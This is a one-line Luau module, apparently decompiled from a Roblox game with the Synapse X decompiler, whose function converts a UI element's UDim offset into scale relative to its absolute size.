-- Decompiled with the Synapse X Luau decompiler.
return function(p1, p2, p3) return p1[p3].Offset / p2.AbsoluteSize[p3] + p1[p3].Scale; end;